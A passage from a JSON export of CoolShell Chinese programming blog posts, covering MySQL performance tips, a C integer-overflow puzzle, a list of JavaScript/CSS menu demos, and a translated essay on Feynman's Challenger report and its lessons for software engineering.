[ip2long()](http://php.net/manual/en/function.ip2long.php) 和 [long2ip()](http://us.php.net/manual/en/function.long2ip.php)。\n\n\n\n```\n\n$r = \"UPDATE users SET ip = INET_ATON('{$_SERVER['REMOTE_ADDR']}') WHERE user_id = $user_id\";\n\n```\n\n#### 15. 固定长度的表会更快\n\n\n如果表中的所有字段都是“固定长度”的，整个表会被认为是 [“static” 或 “fixed-length”](http://dev.mysql.com/doc/refman/5.1/en/static-format.html)。 例如，表中没有如下类型的字段： VARCHAR，TEXT，BLOB。只要你包括了其中一个这些字段，那么这个表就不是“固定长度静态表”了，这样，MySQL 引擎会用另一种方法来处理。\n\n\n固定长度的表会提高性能，因为MySQL搜寻得会更快一些，因为这些固定的长度是很容易计算下一个数据的偏移量的，所以读取的自然也会很快。而如果字段不是定长的，那么，每一次要找下一条的话，需要程序找到主键。\n\n\n并且，固定长度的表也更容易被缓存和重建。不过，唯一的副作用是，固定长度的字段会浪费一些空间，因为定长的字段无论你用不用，他都是要分配那么多的空间。\n\n\n使用“垂直分割”技术（见下一条），你可以分割你的表成为两个一个是定长的，一个则是不定长的。\n\n\n#### 16. 垂直分割\n\n\n“垂直分割”是一种把数据库中的表按列变成几张表的方法，这样可以降低表的复杂度和字段的数目，从而达到优化的目的。（以前，在银行做过项目，见过一张表有100多个字段，很恐怖）\n\n\n**示例一**：在Users表中有一个字段是家庭地址，这个字段是可选字段，相比起，而且你在数据库操作的时候除了个人信息外，你并不需要经常读取或是改写这个字段。那么，为什么不把他放到另外一张表中呢？ 这样会让你的表有更好的性能，大家想想是不是，大量的时候，我对于用户表来说，只有用户ID，用户名，口令，用户角色等会被经常使用。小一点的表总是会有好的性能。\n\n\n**示例二**： 你有一个叫 “last\\_login” 的字段，它会在每次用户登录时被更新。但是，每次更新时会导致该表的查询缓存被清空。所以，你可以把这个字段放到另一个表中，这样就不会影响你对用户ID，用户名，用户角色的不停地读取了，因为查询缓存会帮你增加很多性能。\n\n\n另外，你需要注意的是，这些被分出去的字段所形成的表，你不会经常性地去Join他们，不然的话，这样的性能会比不分割时还要差，而且，会是极数级的下降。\n\n\n#### 17. 拆分大的 DELETE 或 INSERT 语句\n\n\n如果你需要在一个在线的网站上去执行一个大的 DELETE 或 INSERT 查询，你需要非常小心，要避免你的操作让你的整个网站停止相应。因为这两个操作是会锁表的，表一锁住了，别的操作都进不来了。\n\n\nApache 会有很多的子进程或线程。所以，其工作起来相当有效率，而我们的服务器也不希望有太多的子进程，线程和数据库链接，这是极大的占服务器资源的事情，尤其是内存。\n\n\n如果你把你的表锁上一段时间，比如30秒钟，那么对于一个有很高访问量的站点来说，这30秒所积累的访问进程/线程，数据库链接，打开的文件数，可能不仅仅会让你泊WEB服务Crash，还可能会让你的整台服务器马上掛了。\n\n\n所以，如果你有一个大的处理，你定你一定把其拆分，使用 LIMIT 条件是一个好的方法。下面是一个示例：\n\n\n\n```\n\nwhile (1) {\n    //每次只做1000条\n\tmysql_query(\"DELETE FROM logs WHERE log_date <= '2009-11-01' LIMIT 1000\");\n\tif (mysql_affected_rows() == 0) {\n\t\t// 没得可删了，退出！\n\t\tbreak;\n\t}\n\t// 每次都要休息一会儿\n\tusleep(50000);\n}\n\n```\n\n#### 18. 越小的列会越快\n\n\n对于大多数的数据库引擎来说，硬盘操作可能是最重大的瓶颈。所以，把你的数据变得紧凑会对这种情况非常有帮助，因为这减少了对硬盘的访问。\n\n\n参看 MySQL 的文档 [Storage Requirements](http://dev.mysql.com/doc/refman/5.0/en/storage-requirements.html) 查看所有的数据类型。\n\n\n如果一个表只会有几列罢了（比如说字典表，配置表），那么，我们就没有理由使用 INT 来做主键，使用 MEDIUMINT, SMALLINT 或是更小的 TINYINT 会更经济一些。如果你不需要记录时间，使用 DATE 要比 DATETIME 好得多。\n\n\n当然，你也需要留够足够的扩展空间，不然，你日后来干这个事，你会死的很难看，参看[Slashdot的例子](http://news.slashdot.org/article.pl?sid=06/11/09/1534204)（2009年11月06日），一个简单的ALTER TABLE语句花了3个多小时，因为里面有一千六百万条数据。\n\n\n#### 19. 选择正确的存储引擎\n\n\n在 MySQL 中有两个存储引擎 MyISAM 和 InnoDB，每个引擎都有利有弊。酷壳以前文章《[MySQL: InnoDB 还是 MyISAM?](https://coolshell.cn/articles/652.html)》讨论和这个事情。\n\n\nMyISAM 适合于一些需要大量查询的应用，但其对于有大量写操作并不是很好。甚至你只是需要update一个字段，整个表都会被锁起来，而别的进程，就算是读进程都无法操作直到读操作完成。另外，MyISAM 对于 SELECT COUNT(\\*) 这类的计算是超快无比的。\n\n\nInnoDB 的趋势会是一个非常复杂的存储引擎，对于一些小的应用，它会比 MyISAM 还慢。他是它支持“行锁” ，于是在写操作比较多的时候，会更优秀。并且，他还支持更多的高级应用，比如：事务。\n\n\n下面是MySQL的手册\n\n\n* [target=”\\_blank”MyISAM Storage Engine](http://dev.mysql.com/doc/refman/5.1/en/myisam-storage-engine.html)\n* [InnoDB Storage Engine](http://dev.mysql.com/doc/refman/5.1/en/innodb.html)\n\n\n#### 20. 使用一个对象关系映射器（Object Relational Mapper）\n\n\n使用 ORM (Object Relational Mapper)，你能够获得可靠的性能增涨。一个ORM可以做的所有事情，也能被手动的编写出来。但是，这需要一个高级专家。\n\n\nORM 的最重要的是“Lazy Loading”，也就是说，只有在需要的去取值的时候才会去真正的去做。但你也需要小心这种机制的副作用，因为这很有可能会因为要去创建很多很多小的查询反而会降低性能。\n\n\nORM 还可以把你的SQL语句打包成一个事务，这会比单独执行他们快得多得多。\n\n\n目前，个人最喜欢的PHP的ORM是：[Doctrine](http://www.doctrine-project.org)。\n\n\n#### 21. 小心“永久链接”\n\n\n“永久链接”的目的是用来减少重新创建MySQL链接的次数。当一个链接被创建了，它会永远处在连接的状态，就算是数据库操作已经结束了。而且，自从我们的Apache开始重用它的子进程后——也就是说，下一次的HTTP请求会重用Apache的子进程，并重用相同的 MySQL 链接。\n\n\n* [PHP手册：mysql\\_pconnect()](http://php.net/manual/en/function.mysql-pconnect.php)\n\n\n在理论上来说，这听起来非常的不错。但是从个人经验（也是大多数人的）上来说，这个功能制造出来的麻烦事更多。因为，你只有有限的链接数，内存问题，文件句柄数，等等。\n\n\n而且，Apache 运行在极端并行的环境中，会创建很多很多的了进程。这就是为什么这种“永久链接”的机制工作地不好的原因。在你决定要使用“永久链接”之前，你需要好好地考虑一下你的整个系统的架构。\n\n\n文章：[来源](http://net.tutsplus.com/tutorials/other/top-20-mysql-best-practices/)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![SQL的Where语句](../wp-content/uploads/2009/12/sql.where_.clause-150x150.jpg)](https://coolshell.cn/articles/1889.html)[SQL的Where语句](https://coolshell.cn/articles/1889.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/652.html)[MySQL: InnoDB 还是 MyISAM?](https://coolshell.cn/articles/652.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\nThe post [MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-28 C 语言整型谜题.md",
    "content": "---\nlayout: post\ntitle: C 语言整型谜题\ndate: 2009/11/28/ 16:45:17\nupdated: 2009/11/28/ 16:45:17\nstatus: publish\npublished: true\ntype: post\n---\n\n如题，此篇文章是描述C语言中的整数谜题。\n\n\n假定机器字长是32位的，用2的补码表示整数。对以下C表达式，请问它们在所有情况下都正确吗？如果不是，请给出反例。\n\n\n初始化：\n\n\n\n```\nint x = foo();\nint y = bar();\nunsigned ux = x;\nunsigned uy = y;\n```\n\n1. 若x < 0, 则x \\* 2 < 0\n\n\n2. ux >= 0\n\n\n3. 若x & 7 == 7， 则(x << 30) < 0\n\n\n4. ux > -1\n\n\n5. 若x > y, 则-x < -y\n\n\n6. x \\* x >= 0\n\n\n7. 若x > 0 && y > 0, 则x + y > 0\n\n\n8. 若x >= 0, 则-x <= 0\n\n\n9. 若x <= 0, 则-x >= 0\n\n\n答案如下：\n\n\n\n1. 错。当x = INT\\_MIN\n\n\n2. 正确。\n\n\n3. 正确。\n\n\n4. 错。-1被转换成UINT\\_MAX\n\n\n5. 错。当x = -1, y = INT\\_MIN\n\n\n6. 错。当x = 65535\n\n\n7. 错。INT\\_MAX 和 INT\\_MAX\n\n\n8. 正确。\n\n\n9. 错。INT\\_MIN\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C 语言整型谜题](https://coolshell.cn/articles/1857.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-29 编程语言时间地理图.md",
    "content": "---\nlayout: post\ntitle: 编程语言时间地理图\ndate: 2009/11/29/ 23:33:4\nupdated: 2009/11/29/ 23:33:4\nstatus: publish\npublished: true\ntype: post\n---\n\n\n 有人使用Google Map做了一个[网页](http://www.geospat.com/hoprola/)，把所有编程语言的时间线和地理位置，如下图，上面是一个编程语言的时间轴，下面是Google Map地图，点击编程语言，你可以查看该编程语言的发明者，发明地，和其Hello World示例（点击[这里](https://coolshell.cn/articles/169.html)查看更多的Hello World）\n\n\n[**http://www.geospat.com/hoprola/**](http://www.geospat.com/hoprola/)  \n\n[![编程语言时间地理图](../wp-content/uploads/2009/11/programming_language_timeline.jpg \"编程语言时间地理图（点击看大图）\")](https://coolshell.cn/wp-content/uploads/2009/11/programming_language_timeline.jpg)\n\n\n![JavaScript 的发明者，发明地和示例](../wp-content/uploads/2009/11/programming_language_timeline_javascript.jpg \"JavaScript 的发明者，发明地和示例\")\n\n\n（点击小星，可以看到语言的发明者和示例）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/4626.html)[读书笔记：对线程模型的批评](https://coolshell.cn/articles/4626.html)\n* [![编程语言流行度](../wp-content/uploads/2010/12/rank_scatter1-150x150.png)](https://coolshell.cn/articles/3385.html)[编程语言流行度](https://coolshell.cn/articles/3385.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\n* [![计算机编程简史图](../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg)](https://coolshell.cn/articles/2724.html)[计算机编程简史图](https://coolshell.cn/articles/2724.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2598.html)[五个编程语言设计的失误](https://coolshell.cn/articles/2598.html)\nThe post [编程语言时间地理图](https://coolshell.cn/articles/1863.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-30 Javascript程序员嘴最脏__.md",
    "content": "---\nlayout: post\ntitle: Javascript程序员嘴最脏??\ndate: 2009/11/30/ 0:16:54\nupdated: 2009/11/30/ 0:16:54\nstatus: publish\npublished: true\ntype: post\n---\n\n请看下图，我在Google Code上，针对每个程序语言都搜索了一下“fuck”一词的出现文件的个数X，以及没有出现fuck一词的文件的个数Y，然后放在Excel里求了一下百分比（X/(X+Y) \\* 100%），做了一个图。结果，JavaScript语言中出现的次数高达0.56%，名列全部语言之首，然后是Perl，C 和 PHP。（对于Javascript程序员的这种行为可以理解，因为IE，因为浏览器嘛，我就不多说了）\n\n\n![Google Code 中程序语言出现 fuck 一词的比率](../wp-content/uploads/2009/11/programming_language.jpg \"Google Code 中程序语言出现 fuck 一词的比率\")\n\n\n相关的数据表格如下：\n\n\n\n![Google Code 中程序语言出现 fuck 一词的比率](../wp-content/uploads/2009/11/programming_language_table.jpg \"Google Code 中程序语言出现 fuck 一词的比率\")\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/2053.html)[最为奇怪的程序语言的特性](https://coolshell.cn/articles/2053.html)\n* [![编程语言汽车](../wp-content/uploads/2009/11/oscar-meyer-wienermobile-150x150.jpg)](https://coolshell.cn/articles/1839.html)[编程语言汽车](https://coolshell.cn/articles/1839.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/1532.html)[到处都是Unix的胎记](https://coolshell.cn/articles/1532.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [Javascript程序员嘴最脏??](https://coolshell.cn/articles/1850.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-4 13个不错的Javascript和CSS的菜单.md",
    "content": "---\nlayout: post\ntitle: 13个不错的Javascript和CSS的菜单\ndate: 2009/11/4/ 11:23:4\nupdated: 2009/11/4/ 11:23:4\nstatus: publish\npublished: true\ntype: post\n---\n\n以前发布过两篇文章——“[30种时尚的CSS网站导航条](https://coolshell.cn/articles/562.html)”和“[20个优秀的Javascript导航技术](https://coolshell.cn/articles/918.html)”，今天向大家介绍一下，13个不错的Javascript和CSS的菜单。\n\n\n1) [性感的滑动型菜单](http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools) \n\n\n[![Sexy-menu - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/4996deb5bbd70cc8d71bc51ec8954385.gif)](http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools)\n\n\n演示： [Mootols Version](http://www.andrewsellick.com/examples/sliding-side-bar/ \"Demo\")  \n\n演示：[Script.aculo.usVersion](http://www.andrewsellick.com/examples/sliding-side-bar-scriptaculous/ \"Demo\")\n\n\n \n\n\n\n\n\n---\n\n2) [FastFind 菜单](http://labs.activespotlight.net/jQuery/menu_demo.html) 右键菜单，还可以被拖来拖去。使用 *jQuery* 。\n[![Fastfind - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/2c3645511db61a6d2c008aacf5d1b5d3.gif)](http://labs.activespotlight.net/jQuery/menu_demo.html)\n\n\n演示： [FastFind Menu](http://labs.activespotlight.net/jQuery/menu_demo.html \"Demo\")\n\n\n \n\n\n\n\n---\n\n3) [Webber 2.0 Dock 菜单](http://2210media.com/dock_menu/)\n[![Dockmenu - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/b959949728d1df1f380f68fdd30a345a.gif)](http://2210media.com/dock_menu/)\n\n\n演示： [Webber 2.0 Dock Menu](http://2210media.com/dock_menu/ \"Demo\")\n\n\n \n\n\n\n\n---\n\n4) [Phatfusion- 图片菜单](http://www.phatfusion.net/) 使用了onClick 事件来 open 和 close 菜单项。\n[![Phatfusion - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/7c8a1d7b798d4a2d919eb83a792b71f0.jpg)](http://www.phatfusion.net/imagemenu/index.htm)\n\n\n演示： [Phatfusion- Image Menu](http://www.phatfusion.net/imagemenu/index.htm \"Demo\")  \n\n演示： [Mootools version with XML parser](http://www.artviper.de/ImageMenu/ \"Demo\")\n\n\n \n\n\n\n\n---\n\n5) [可拖动的树形菜单](http://extjs.com/deploy/dev/examples/tree/reorder.html)\n [![Tree - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/a999b2c5c2b62e523654a43d8f2d379b.gif)](http://extjs.com/deploy/dev/examples/tree/reorder.html)\n\n\n演示： [Drag and Drop ordering in a TreePanel](http://extjs.com/deploy/dev/examples/tree/reorder.html \"Demo\")\n\n\n \n\n\n\n\n---\n\n6) [自定义的菜单事件](http://www.thinkvitamin.com/)\n[![Custom - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/f049f6dba56c3ff488dcf9d0dba9181a.gif)](http://www.thinkvitamin.com/misc/yui-demos/demo-10.html)\n\n\n演示： [Custom Menu Events | ThinkVitamin.com](http://www.thinkvitamin.com/misc/yui-demos/demo-10.html \"Demo\")\n\n\n \n\n\n\n\n---\n\n7) [右键菜单](http://yura.thinkweb2.com/scripting/contextMenu/) \n[![Custom - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/d593bc2e237bc06e6f28e7ccf999eb2b.jpg)](http://yura.thinkweb2.com/scripting/contextMenu/)\n\n\n演示： [Context Menu Functionality](http://yura.thinkweb2.com/scripting/contextMenu/ \"Demo\")  \n\n演示：[Another Context Menu](http://utils.softr.net/contextmenoo-menu-contextual-con-mootools/ \"demo\")\n\n\n \n\n\n\n\n---\n\n8 ) [LavaLamp jQuery 滑动菜单](http://gmarwaha.com/blog/?p=7) \n[![Lavalamp - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/670a6412233b77ecbccf70047b6d75ac.gif)](http://gmarwaha.com/blog/?p=7)\n\n\n演示： [LavaLamp jQuery Sliding Menu](http://gmarwaha.com/blog/?p=7 \"Demo\")  \n\n演示： [Mootools Fancy Menu](http://devthought.com/cssjavascript-true-power-fancy-menu/ \"Demo\")\n\n\n \n\n\n\n\n---\n\n9 ) [折叠式菜单](http://www.dynamicdrive.com/dynamicindex1/slashdot.htm)\n[![9 - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/62922536936df5e7c844afa1e86cb606.gif)](http://www.dynamicdrive.com/dynamicindex1/slashdot.htm)\n\n\n演示： [Slashdot Menu](http://www.dynamicdrive.com/dynamicindex1/slashdot.htm \"Demo\")\n\n\n \n\n\n\n\n---\n\n10 ) [Mootools层叠式菜单](http://www.artviper.eu/mootoolsmenu/)\n[![10 - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/ef8e08b0a9bf0ff831ac0b5078d74115.jpg)](http://www.artviper.eu/mootoolsmenu/)\n\n\n演示： [Mootools menu with Accordeon and Effects](http://www.artviper.eu/mootoolsmenu/ \"Demo\")\n\n\n \n\n\n\n\n---\n\n11 ) [CSS Dock 菜单](http://www.ndesign-studio.com/blog/mac/css-dock-menu) 模仿Mac 电脑界面。 \n[![11 - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/c995589668f5cafebb326f51458507fd.gif)](http://www.ndesign-studio.com/blog/mac/css-dock-menu)\n\n\n演示： [CSS Dock Menu](http://www.ndesign-studio.com/blog/mac/css-dock-menu \"Demo\")\n\n\n \n\n\n\n\n---\n\n12 ) [jQuery 插件：滑动式菜单](http://www.getintothis.com/pub/projects/rb_menu/)\n[![12 - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/e89c0f8090dfdf15f02ca59ca26790d1.gif)](http://www.getintothis.com/pub/projects/rb_menu/)\n\n\n演示： [jQuery Plugin: Sliding Menu](http://www.getintothis.com/pub/projects/rb_menu/ \"Demo\")\n\n\n \n\n\n\n\n---\n\n13 ) [折叠式菜单](http://www.456bereastreet.com/archive/200705/accessible_expanding_and_collapsing_menu/)\n[![13 - 13不错的Javascript CSS菜单](../wp-content/uploads/HLIC/0a9da228f5264becdc2aac4296776f35.gif)](http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/)\n\n\n演示： [Accessible expanding and collapsing menu](http://www.456bereastreet.com/lab/accessible-expanding-collapsing-menu/ \"Demo\")\n\n\n文章：[来源](http://9tricks.com/web-dev/13-awesome-javascript-css-menus/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![30+ Web下拉菜单](../wp-content/uploads/2010/10/Drop-Down-Menu-Scripts-5-150x150.jpg)](https://coolshell.cn/articles/3207.html)[30+ Web下拉菜单](https://coolshell.cn/articles/3207.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/6043.html)[Web开发中需要了解的东西](https://coolshell.cn/articles/6043.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [13个不错的Javascript和CSS的菜单](https://coolshell.cn/articles/1660.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-11-4 Richard Feynman, 挑战者号, 软件工程.md",
    "content": "---\nlayout: post\ntitle: Richard Feynman, 挑战者号, 软件工程\ndate: 2009/11/4/ 8:49:30\nupdated: 2009/11/4/ 8:49:30\nstatus: publish\npublished: true\ntype: post\n---\n\n\n源文：[链接](http://duartes.org/gustavo/blog/post/richard-feynman-challenger-disaster-software-engineering)  （本文主要根据挑战者号的问题，以及Richard Feynman那对NASA严厉的批评报告，批评了不适当的“自顶向下”的设计方法，并总结了一下软件工程和其它工程的相通的一些观点。翻译水平有限，欢迎指正）\n\n\nhttp://static.duartes.org/img/blogPosts/250px-ChallengerCrew.jpg\n\n\n佛罗里达州，美国东部时间1986年1月28日上午11时39分，[挑战者号航天飞机](http://zh.wikipedia.org/wiki/%E6%8C%91%E6%88%98%E8%80%85%E5%8F%B7%E8%88%AA%E5%A4%A9%E9%A3%9E%E6%9C%BA%E7%81%BE%E9%9A%BE) 执行为期6天的[STS-51-L 任务](http://en.wikipedia.org/wiki/STS-51-L)，在发射后，其右侧固体火箭助推器（SRB – [Solid Rocket Booster](http://en.wikipedia.org/wiki/Space_Shuttle_Solid_Rocket_Booster)）的O型环密封圈（用于连接两节助推器）失效，泄漏出来的热汽达到了5000华氏度，直接蒸发了O型密封圈，并灼烧了毗邻的外部燃料舱，在几秒钟内，外部燃料舱出现结构连接失效，空气的动力迅速分解了航天飞机。在而航天飞机上升72秒以后，助推器脱落，导致航天发飞向侧面滑出。几乎在引航员 Michael J. Smith 发出”Uh oh” 的同时，整个航天飞机完全解体，片刻，航天飞机内部发生爆炸，所有7名宇航员罹难。 那时的我还只是一个小孩，我从电视下方滚动的新闻条目知道了这一惨剧。\n\n\n在那个时候，火箭助推器工程师曾经警告过这个O型环可能存在问题，但可惜的是，NASA的管理层忽略了这个问题。http://static.duartes.org/img/blogPosts/ChallengerExplosion.jpg美国总统里根委派[罗杰斯委员会](http://en.wikipedia.org/wiki/Rogers_Commission)对事故进行了调查，调查成员包括著名的物理学家Richard Feynman。其不羁的态度和直来直去的方法和罗杰斯委员会的风格形成了鲜明的反差。主席罗杰斯，一个政客，评论Feynman是一个“真正的痛苦”。最后，在委员会提交的报告中，Feynman反判的观点几乎被清除了出去。并且，Feynman曾被主席威胁过要把他的名字从报告中完全除掉，但最终，他们还是同意在报告中加一个附录，但只是个人观点—— [Appendix F – Personal Observations on Reliability of Shuttle](http://www.ralentz.com/old/space/feynman-report.html)。\n\n\n\n这是一个好的报告，因为，这是一个富有才华的报告。其深深地洞察了在实现一些高可靠性的系统时的工程学中的一些很自然性的东西。是的，在这里，我并没有放上“软件工程” 的字样，只是工程。但Feynman的结论却非常和我们的软件开发有着不可分割的关系。这是最基本的东西，无论是软件工程，还是别的工程学。下面，让我们来看看，Feynman是怎么说的：\n\n\n\n> 航天飞机主引擎的建造方式是[**自顶向下**](http://en.wikipedia.org/wiki/Top-down)(top down)，我们可以这样说。整个引擎被设计把所有的事情放在一起，而那些相关的细节上的东西在设计当时还并不是很成熟的。所以，**当其中的小零件（轴承，涡轮片，散热管，等等）出现问题时**，**我们需要花费昂贵的代价才能找到事故的原因，也很难作出修改**。要避免问题发生，需要频繁的维护和置换重要的零部件。修理很多时候不会解决真正的原因。\n> \n> \n\n\n可见，软件开发中也一样，Bug在整个过程中存在的时间越长， [我们就越难解决这个问题](http://stevemcconnell.com/ieeesoftware/eic17.htm)。很显然，自顶向下的方法，因为在设计的时候并不熟悉实际问题，所以，Bug从设计的时候就出现了。然而，我们需要明白，需求和设计的不同之处。需求需要对产品一种清楚和良好的定义，设计则是解决如何达到需求的方法。Feynman 在这里并没有反对 [功能规格说明书](http://www.joelonsoftware.com/articles/fog0000000036.html)，他只是反对自顶向下的设计方法，比如： [UML 就是蓝图](http://martinfowler.com/bliki/UmlAsBlueprint.html) 的鼓吹者。再来看看他的言论：\n\n\n\n> 航天飞机主引擎是一个非常不同寻常的机器，它和以前所有的引擎都不一样。这完全超出了以前引擎制的工程经验。所以，不奇怪的，许多不同的流程和难点都会在工程中出现。**然而，很不幸地，这是通过自顶向下设计，所以，那些流程和问题是很难被发现被修正的**。设计要求的引擎寿命可以完成55次点火任务（相当于27,000秒的操作，也就是说，第次点火需要500秒），但事实上这并没有完成。而引擎现在则**需要频繁维护，并需要经常更换重要的部件**，比如：涡轮泵，轴承，金属片，等等。\n> \n> \n\n\nhttp://static.duartes.org/img/blogPosts/feynman.jpg\n\n\n“不合适的自顶向下的设计方式，导致了问题很难去发现和修正，最终没有完成设计需求，频繁性地维护”这些描述方式，听起来是不是似曾相识？我们每天在做的软件工程和这个不一样吗？Feynman 详细说明了为什么“自顶向下”的设计会让发现和解决这些问题成为那么的难和痛苦的一件事：\n\n\n\n> 很多这些已被解决的问题在一开始设计时都是设计的难点。很自然地，没有人可以确定那些所有的已发现问题都能会出现，而其中一些，**我们并没有根据正确的原因在正确的地方解决这些问题**。\n> \n> \n\n\n无论这是Linux内核，或是航天飞机引擎，这些设计时的基本的问题都是相通的。而“自顶向下”是其中荒唐的一个，因为，自顶向下，过度的注重了需求而忽略了现实，而那些下面非常细节的知识绝对是非常需要的，并不是所有的东西都可以抽象成出来。在他说起航空电子系统时（一个NASA的另一个部门）：\n\n\n\n> 该软件是采用了从底向上的方法被小心地做了检查。**首先，每一行代码都被检查过，然后，代码段和模块和一些详细的功能被验证过**。而检查范围在一步一步地被扩大，直到新的改变被组合进来最终成为一个完整的系统。这个过程最终的完整的输出成为了最终的产品，成为了新的release。这个部门完全以一种中立的态度，**把软件作为一个敌对方**，不停地测试，校验，就像自己就是这个软件的用户一样。\n> \n> \n\n\n是的，这就是1986年Feynman告诉大家的——Unit Test（单元测试），今天，Unit Test成为了软件开发活动中最最重要的一个环节（也许你以为是Coding）。并不单单只是Unit 